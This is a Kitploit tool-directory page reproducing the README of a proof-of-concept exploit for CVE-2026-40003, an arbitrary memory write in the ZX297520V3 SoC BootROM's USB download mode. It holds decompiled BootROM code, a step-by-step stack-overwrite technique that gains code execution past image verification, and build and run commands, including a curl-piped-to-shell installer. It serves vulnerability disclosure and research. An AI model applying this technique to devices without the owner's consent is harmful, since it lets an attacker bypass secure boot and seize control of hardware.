Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-40003 — Exploit for CVE-2026-40003, an arbitrary memory write vulnerability in ZXIC/Sanechips ZX297520V3 SoC BootROM, enabling code execution via USB download mode. | Kitploit
Tools/GitHubGitHub/rva3/cve-2026-40003
Embedded Systems SecurityExploitationReverse EngineeringHardware HackingPayload DevelopmentFirmware AnalysisBinary Exploitation
GitHubrva3/cve-2026-40003

CVE-2026-40003

Exploit for CVE-2026-40003, an arbitrary memory write vulnerability in ZXIC/Sanechips ZX297520V3 SoC BootROM, enabling code execution via USB download mode.

View Repository
14194 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2026-40003 aka Joselito is arbitrary memory write vulnerability found in the ZXIC/Sanechips ZX297520V3 SoC BootROM.

[!CAUTION] This PoC has been published for research purposes only. You must NOT use this exploit for any malicious purposes. Do NOT use the exploit on devices you do not own or without the explicit consent of the owner.

Status

This vulnerability should be fixed since March 2026 in newer SoC revisions. There's no known products using patched chips yet. All existing devices are vulnerable.

How does it work?

TL;DR: check out the loader code.

The BootROM starts at 0x4 address with stack pointer at 0x81FF0. The code performs mode selection based on special test point, or ability to load the image from the flash. If the BootROM fails to load or verify image on the flash, it will fallback to the USB download mode.

We can observe this behavior here:

root@kitploit:~
v0 = MEMORY[0x13B004] & 7; // hardware pin
switch ( (char)v0 )
{
  case 0:
    if ( nand_init() )
      goto LABEL_12;
    parse_header((Header *)0x8A000);
    v4 = "\nMODE:NAND\n";
    goto LABEL_11;
  case 1:
    if ( !nand_init() )
    {
      parse_header((Header *)0x8A000);
      uart_puts("\nMODE:USB-N\n");
    }
    usbdl_init(0x1500000);
    v5 = "TURN TO NAND\n";
    goto LABEL_16;
/* ... */
LABEL_16:
  uart_puts(v5);
LABEL_7:
  verify_and_jump((Header *)0x8A000, 0, 1);
  break;

The usbdl_init function initializes USB IP and enters the download loop:

root@kitploit:~
void __fastcall usbdl_init(int usb_base)
{
  char *v1; // r0

  if ( usb_base == 0x1500000 )
  {
    alt_usb_base = 0;
    usb_init();
  }
  else
  {
    alt_usb_base = 1;
    noidea();
  }
  if ( usb_setup() )
  {
    try_sync_with_host();
    v1 = "FAILED\n";
  }
  else
  {
    v1 = "\nNOLINK\n";
  }
  uart_puts(v1);
}

Disassembler output:

root@kitploit:~
ROM:00001F68 ; void __fastcall usbdl_init(int usb_base)
ROM:00001F68 usbdl_init                              ; CODE XREF: entry+5E↑p
ROM:00001F68                                         ; entry+7C↑p ...
ROM:00001F68                 PUSH            {R4,LR}
ROM:00001F6A                 MOVS            R2, #0x1500000
ROM:00001F6E                 LDR             R1, =dword_8014C
ROM:00001F70                 MOV             R4, R0
ROM:00001F72                 CMP             R0, R2
ROM:00001F74                 BNE             loc_1F80
ROM:00001F76                 MOVS            R0, #0
ROM:00001F78                 STRB            R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F7A                 BL              usb_init
ROM:00001F7E                 B               loc_1F88
ROM:00001F80 ; ---------------------------------------------------------------------------
ROM:00001F80
ROM:00001F80 loc_1F80                                ; CODE XREF: usbdl_init+C↑j
ROM:00001F80                 MOVS            R0, #1
ROM:00001F82                 STRB            R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F84                 BL              noidea
ROM:00001F88
ROM:00001F88 loc_1F88                                ; CODE XREF: usbdl_init+16↑j
ROM:00001F88                 MOV             R0, R4
ROM:00001F8A                 BL              usb_setup
ROM:00001F8E                 CMP             R0, #0
ROM:00001F90                 BEQ             loc_1F9E
ROM:00001F92                 BL              try_sync_with_host
ROM:00001F96                 ADR             R0, aFailed ; "FAILED\n"
ROM:00001F98
ROM:00001F98 loc_1F98                                ; CODE XREF: usbdl_init+38↓j
ROM:00001F98                 BL              uart_puts
ROM:00001F9C                 POP             {R4,PC}
ROM:00001F9E ; ---------------------------------------------------------------------------
ROM:00001F9E
ROM:00001F9E loc_1F9E                                ; CODE XREF: usbdl_init+28↑j
ROM:00001F9E                 ADR             R0, aNolink ; "\nNOLINK\n"
ROM:00001FA0                 B               loc_1F98
ROM:00001FA0 ; End of function usbdl_init

The try_sync_with_host waits for the sync byte (0x5A) and enters main loop.

root@kitploit:~
void try_sync_with_host()
{
  int v0; // r4
  unsigned int i; // r0
  int v2; // r5
  int v3; // r2
  int v4; // r3
  int v5; // r2
  int v6; // r3
  int v7; // r0

  v0 = 0x805A0;
  time_to_boot = 0;
  for ( i = 0; i < 0x40; ++i )
    *(_BYTE *)(i + 0x805A0) = 0;
  g_state = 0;
  v2 = 0x200;
  if ( usb_recv(byte_805A0, 0x200, 0x5A) == 1 ) // 0x5a = ack sent by the host
  {
    uart_puts("TIMEOUT\n");
  }
  else
  {
    resp[0] = 0xA5;
    usb_send((int)resp, 1, v3, v4);
    g_state = 1;
    while ( !time_to_boot )
    {
      v7 = sub_11CA(v0, v2, v5, v6);
      handler(v0, v7);
      if ( g_state == 4 )
      {
        v2 = size;
        v0 = start_addr;
      }
      else
      {
        v0 = 0x805A0;
        v2 = 0x200;
      }
    }
    verify_and_jump(unk_80160, 0, 1);
  }
}

After the handshake is complete, the BootROM enters the main loop, awaiting the stage 1 binary, which is typically used to recover a bricked device. However, the BootROM does not verify the destination address, which allows for arbitrary writing via the 0x7A command. The 0xA1 status means the image address and size were accepted.

root@kitploit:~
usb_send:
        resp[0] = status;
        v5 = 1;
        v6 = resp;
        return usb_send((int)v6, v5, state, v3);
      case 3u: // 0x7A
        if ( *(int *)&resp[4] >= 4 )
        {
          if ( *(int *)&resp[4] < 8 )
            *(_DWORD *)&resp[12] = (*(_DWORD *)&resp[12] << 8) | result;
        }
        else
        {
          *(_DWORD *)&resp[8] = (*(_DWORD *)&resp[8] << 8) | result;
        }
        v3 = *(_DWORD *)&resp[4] + 1;
        *(_DWORD *)&resp[4] = v3;
        if ( v3 != 8 )
          continue;
        *(_DWORD *)&resp[4] = 0;
        start_addr = *(_DWORD *)&resp[8];
        size = *(_DWORD *)&resp[12];
        g_state = 4;
        status = 0xA1;
        goto usb_send;

The verify_and_jump function will perform image verification if the device is fused.

root@kitploit:~
int __fastcall verify_and_jump(Header *a1, int zero, int must_verify)
{
  int *p_sp; // r6
  int result; // r0

  p_sp = (int *)&a1->sp;
  result = memcmp((int)a1->magic, 0x80008, 2u);
  if ( !result )
  {
    if ( !zero || (result = a1->usbdl_en, result == 0x5A) )
    {
      if ( !must_verify )
        return jump(p_sp);
      result = verify(a1);
      if ( !result )
        return jump(p_sp);
    }
  }
  return result;
}

The verify function will use hardware MD5 and RSA engines to verify the integrity of the image, and jump will set stack pointer to the address from the image header and jump to the entrypoint.

In the ARM/Thumb call convention function calls usually start with PUSH {regs, LR} and end with tail call, BX LR or POP {regs, PC}. The usbdl_init wasn't optimized by the compiler as tail call, therefore contains PUSH and POP instructions.

Have you got the idea already?


Since the BootROM has no flag for one-time download, we can send as many as we want images. The exploit abuses this feature (though it's not a vulnerability itself) with arbitrary memory write.

  1. Send the payload to the specified address
  2. Calculate stack offset: 6 (entry function: PUSH {R3-R7,LR}) + 2 (usbdl_init function: PUSH {R4,LR}). Multiply that by register size, so 8 * 4 = 32
  3. Send jump address to the saved LR register on the stack (for simplicity the PoC repeats the same address for all saved registers)
  4. Send jump command
  5. Let image verification fail (missing header magic)
  6. verify_and_jump function returns to the usbdl_init
  7. usbdl_init prints FAILED and executes POP {R4, PC} instruction, running the payload

To build from source

  • Install curl, llvm-objcopy (usually part of the llvm package) and gcc. Example for Ubuntu 22.04: sudo apt update && sudo apt install curl llvm gcc
  • Install rustup using curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh or distro-specific package manager
  • Make sure rust commands are available: . "$HOME/.cargo/env" (bash) or source "$HOME/.cargo/env.fish" (fish)
  • Build payload: cd payload && ./build.sh && cd ..
  • Run host tool: sudo -E cargo r -p loader -- target/thumbv6m-none-eabi/release/payload

Now connect the device with USB download mode triggered (either special test point or corrupted flash) and watch the UART output.

Timeline

  • Feb 5 - Initial report
  • Mar 18 - Confirmed by the ZTE PSIRT
  • May 7 - Public release

External credits

  • Lots of SoC reverse engineering: Stefan Dösinger
  • Test on fused device: Mio Naganohara
  • Pre-release test on another fused device: exp-3

License

AGPLv3

Download Tool